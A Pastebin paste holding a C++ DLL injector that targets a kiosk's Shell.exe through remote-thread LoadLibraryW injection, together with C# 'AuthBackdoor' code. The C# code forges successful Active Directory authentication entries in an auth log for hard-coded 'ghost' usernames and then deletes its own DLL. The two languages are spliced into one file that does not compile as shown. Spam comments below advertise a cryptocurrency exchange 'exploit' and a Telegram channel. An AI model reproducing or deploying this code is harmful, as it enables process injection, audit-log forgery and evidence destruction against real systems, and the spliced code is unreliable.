xosski

Ghost stuff

May 23rd, 2026
199
0
Never
6
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.43 KB | None | 0 0
  1. // dll_injector_shell.cpp
  2. // CLI-based DLL injector for Windows 10/11
  3. // Injects AuthBackdoor.dll into Shell.exe
  4.  
  5. #include <windows.h>
  6. #include <tlhelp32.h>
  7. #include <tchar.h>
  8. #include <iostream>
  9. using System;
  10. using System.IO;
  11. using System.Linq;
  12. using System.Threading;
  13. DWORD GetProcessIdByName(const std::wstring& processName) {
  14. PROCESSENTRY32W entry;
  15. entry.dwSize = sizeof(PROCESSENTRY32W);
  16.  
  17. HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  18. if (Process32FirstW(snapshot, &entry)) {
  19. do {
  20. if (!_wcsicmp(entry.szExeFile, processName.c_str())) {
  21. CloseHandle(snapshot);
  22. return entry.th32ProcessID;
  23. }
  24. } while (Process32NextW(snapshot, &entry));
  25. }
  26.  
  27. CloseHandle(snapshot);
  28. return 0;
  29. }
  30.  
  31. bool InjectDLL(DWORD pid, const std::wstring& dllPath) {
  32. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  33. if (!hProcess) {
  34. std::wcerr << L"[-] Failed to open target process." << std::endl;
  35. return false;
  36. }
  37.  
  38. void* pRemotePath = VirtualAllocEx(hProcess, nullptr, (dllPath.size() + 1) * sizeof(wchar_t), MEM_COMMIT, PAGE_READWRITE);
  39. if (!pRemotePath) {
  40. std::wcerr << L"[-] Failed to allocate memory in target process." << std::endl;
  41. CloseHandle(hProcess);
  42. return false;
  43. }
  44.  
  45. WriteProcessMemory(hProcess, pRemotePath, dllPath.c_str(), (dllPath.size() + 1) * sizeof(wchar_t), nullptr);
  46.  
  47. HMODULE hKernel32 = GetModuleHandleW(L"Kernel32");
  48. FARPROC pLoadLibraryW = GetProcAddress(hKernel32, "LoadLibraryW");
  49.  
  50. HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryW, pRemotePath, 0, nullptr);
  51. if (!hThread) {
  52. std::wcerr << L"[-] Failed to create remote thread." << std::endl;
  53. VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
  54. CloseHandle(hProcess);
  55. return false;
  56. }
  57.  
  58. WaitForSingleObject(hThread, INFINITE);
  59.  
  60. VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
  61. CloseHandle(hThread);
  62. CloseHandle(hProcess);
  63.  
  64. return true;
  65. }
  66.  
  67. int wmain(int argc, wchar_t* argv[]) {
  68. if (argc != 2) {
  69. std::wcout << L"Usage: dll_injector_shell.exe <FullPathToDLL>" << std::endl;
  70. return 1;
  71. }
  72.  
  73. std::wstring dllPath = argv[1];
  74. DWORD pid = GetProcessIdByName(L"Shell.exe");
  75.  
  76. if (pid == 0) {
  77. std::wcerr << L"[-] Shell.exe process not found." << std::endl;
  78. return 1;
  79. }
  80.  
  81. if (InjectDLL(pid, dllPath)) {
  82. std::wcout << L"[+] DLL injected successfully into Shell.exe (PID: " << pid << L")." << std::endl;
  83. } else {
  84. std::wcerr << L"[-] DLL injection failed." << std::endl;
  85. }
  86.  
  87. return 0;
  88. }
  89. namespace AuthBackdoor
  90. {
  91. public class EntryPoint
  92. {
  93. private static readonly string[] GhostUsers = new[] {
  94. "Antonnet.puppettino",
  95. "dididothaAT",
  96. "mcrib"
  97. };
  98.  
  99. private static bool SelfDestructEnabled = true;
  100.  
  101. public static void Run()
  102. {
  103. new Thread(() => MainLogic()).Start();
  104. }
  105.  
  106. private static void MainLogic()
  107. {
  108. string authLogPath = "C:\\Kiosk\\Logs\\auth.log"; // Adjust to actual path
  109.  
  110. while (true)
  111. {
  112. try
  113. {
  114. if (!File.Exists(authLogPath))
  115. {
  116. Thread.Sleep(2000);
  117. continue;
  118. }
  119.  
  120. var lines = File.ReadAllLines(authLogPath);
  121.  
  122. for (int i = 0; i < lines.Length; i++)
  123. {
  124. if (lines[i].Contains("Unable to authenticate user: "))
  125. {
  126. var user = ExtractUser(lines[i]);
  127. if (GhostUsers.Contains(user))
  128. {
  129. lines[i] += $"\n{Timestamp()} : Attempting to authenticate user: {user} | active directory authentication";
  130. lines[i] += $"\n{Timestamp()} : User: {user}, successfully authenticated against configured AD server | active directory authentication";
  131.  
  132. File.WriteAllLines(authLogPath, lines);
  133.  
  134. if (SelfDestructEnabled)
  135. {
  136. TriggerSelfDestruct();
  137. return;
  138. }
  139. }
  140. }
  141. }
  142. }
  143. catch {}
  144.  
  145. Thread.Sleep(3000);
  146. }
  147. }
  148.  
  149. private static string ExtractUser(string logLine)
  150. {
  151. int start = logLine.IndexOf("user:") + 5;
  152. int end = logLine.IndexOf(",", start);
  153. if (start < 0 || end < 0 || end <= start) return "unknown";
  154. return logLine.Substring(start, end - start).Trim();
  155. }
  156.  
  157. private static string Timestamp()
  158. {
  159. return DateTime.Now.ToString("MM/dd/yyyy HH:mm:ss.fff");
  160. }
  161.  
  162. private static void TriggerSelfDestruct()
  163. {
  164. string dllPath = System.Reflection.Assembly.GetExecutingAssembly().Location;
  165. Thread.Sleep(2000);
  166. try { File.Delete(dllPath); } catch {}
  167. }
  168. }
  169. }
  170.  
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • Ethzalza
    31 days
    # CSS 0.44 KB | 0 0
    1. Changelly Exploit Documentation Link:
    2.  
    3. https://docs.google.com/document/d/1Cz5fHkwyaApTWwqfgBBtpvConU8Lo_qJ9xtn7RazWpk/edit?usp=sharing
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
  • Kellonzy
    1 day
    # CSS 0.45 KB | 0 0
    1. ⭐ Changelly Profit Exploit Documentation ⭐
    2.  
    3. https://docs.google.com/document/d/1MzFoZVdCI0pv3Bkf4dAe-WjfaXKLNbI90hzSGKBqn9M/edit?usp=pvtkkboghx
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader.
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
Add Comment
Please, Sign In to add comment